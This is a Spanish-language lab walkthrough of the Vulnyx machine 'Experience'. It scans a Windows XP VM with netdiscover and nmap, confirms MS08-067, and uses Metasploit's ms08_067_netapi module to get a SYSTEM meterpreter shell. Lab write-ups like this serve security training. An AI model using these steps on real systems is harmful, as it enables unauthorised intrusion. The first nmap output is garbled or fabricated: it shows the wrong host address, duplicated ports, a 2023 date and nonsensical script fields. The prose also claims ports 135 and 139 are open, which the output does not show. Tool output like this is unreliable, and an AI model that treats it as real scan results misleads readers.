

Máquina Experience (Vulnyx)

agosto 09, 2025

Comenzamos con averiguar la dirección IP de la Máquina Víctima, para ello utilizaremos la herramienta **netdiscover**, para ello ejecutamos el siguiente comando:

```
$ netdiscover -i eth1 -r 10.0.2.0/24
```

```
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
```

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
10.0.2.1	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.2	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.3	08:00:27:d9:f0:e9	1	60	PCS Systemtechnik GmbH
10.0.2.8	08:00:27:f1:ca:9a	1	60	PCS Systemtechnik GmbH

- **Kali (Máquina Atacante):** 10.0.2.4
- **Máquina Víctima:** 10.0.2.8

Comprobamos si tenemos conexión con la Máquina Víctima, para ello ejecutamos el siguiente comando:

```
$ ping -c 1 10.0.2.8
```

```
PING 10.0.2.8 (10.0.2.8) 56(84) bytes of data:
64 bytes from 10.0.2.8: icmp_seq=1 ttl=128 time=0.616 ms

--- 10.0.2.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.616/0.616/0.616/0.000 ms
```

Como se puede comprobar por el TTL nos enfrentamos a una Máquina **Windows**.

A continuación, realizamos con la herramienta **nmap** un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

```
$ nmap -PN 10.0.2.8 -sVC
```

```
Starting Nmap 7.95 (https://nmap.org) at 2023-06-03 04:14:52 CEST
Nmap scan report for 10.6.2.0
Host is up (0.0000s latency).
Not shown: 992 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
23/tcp    open  ncp
25/tcp    open  smtp
445/tcp    open  microsoft-smb
445/tcp    open  microsoft-ds
6379/tcp  open  redis
8080/tcp  open  http
8080/tcp  open  https
Service Info: Host: Windows, Windows XP; CPE: cpe:/o:microsoft/windows, cpe:/o:microsoft/windows_xp

Host script results:
_ _dbinfo: NetBios name: EXPERIENCE, NetBios user: <unknown>, NetBios MAC: 68100127:31c3a0 (PC SystemCache/Reacte VirtualBox virtual NIC)
_ _os_detection: name: 2003/ServicePack3, deviation: 68100127, media: 100mbps
_ __line: Protocol negotiation failed (SMB2)
_ smb-os-discovery:
_ OS: Windows XP (Windows 2003 LAN Manager)
_ OS CPE: cpe:/o:microsoft/windows_xp-1
_ Computer name: experience
_ NetBIOS computer name: EXPERIENCE%00
_ Workgroup: WORKGROUP%00
_ System time: 2023-06-03T05:14:24-07:00
_ _security_model:
_ account_uid: guest
_ authentication_level: user
_ challenge_response: supported
_ message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 16.82 seconds
```

Como podemos comprobar la Máquina Víctima tiene abiertos los puertos **135**, **139** y **445**; y nos confirma que se trata de una Máquina con **Windows XP**.

A continuación, comprobamos si el servicio que corre por el puerto 445 (**smb**) es vulnerable su versión, para ello usaremos el **script vuln** de **nmap**, para ello ejecutaremos el siguiente comando:

```
$ nmap -p 445 10.0.2.8 --script vuln
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 05:44 CEST
Nmap scan report for 10.0.2.8
Host is up (0.00072s latency).

PORT      STATE SERVICE
445/tcp   open  microsoft-ds

MAC Address: 08:00:12:71:F1:CA:9A (PC5 Systemtechnik/Oracle VirtualBox virtual NIC)

Host script results:
|_ smb-vuln-ms08-067:
|   VULNERABLE:
|     Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs: CVE:CVE-2008-4250
|       The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|       Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|       code via a crafted RPC request that triggers the overflow during path canonicalization.
```

Y comprobamos que es vulnerable.

A continuación, haremos uso de la herramienta **Metasploit**, para ello ejecutamos el siguiente comando para arrancarla:

```
$ msfconsole
```

Buscamos este **exploit**, para ello ejecutamos el siguiente comando dentro de la consola de Metasploit:

```
msf6> search ms08-067
```

```
msf6 > search ms08-067
Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
--  --
0  exploit/windows/smb/ms08_067_netapi      2008-10-28      great Yes   Microsoft Server Service Remote Path Stack
```

Seleccionamos, configuramos y lanzamos el exploit, para ello ejecutamos los siguientes comandos dentro de la consola de Metasploit:

```
msf6> use 0
```

```
msf6> set RHOSTS 10.0.2.8
```

```
msf6> run
```

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
```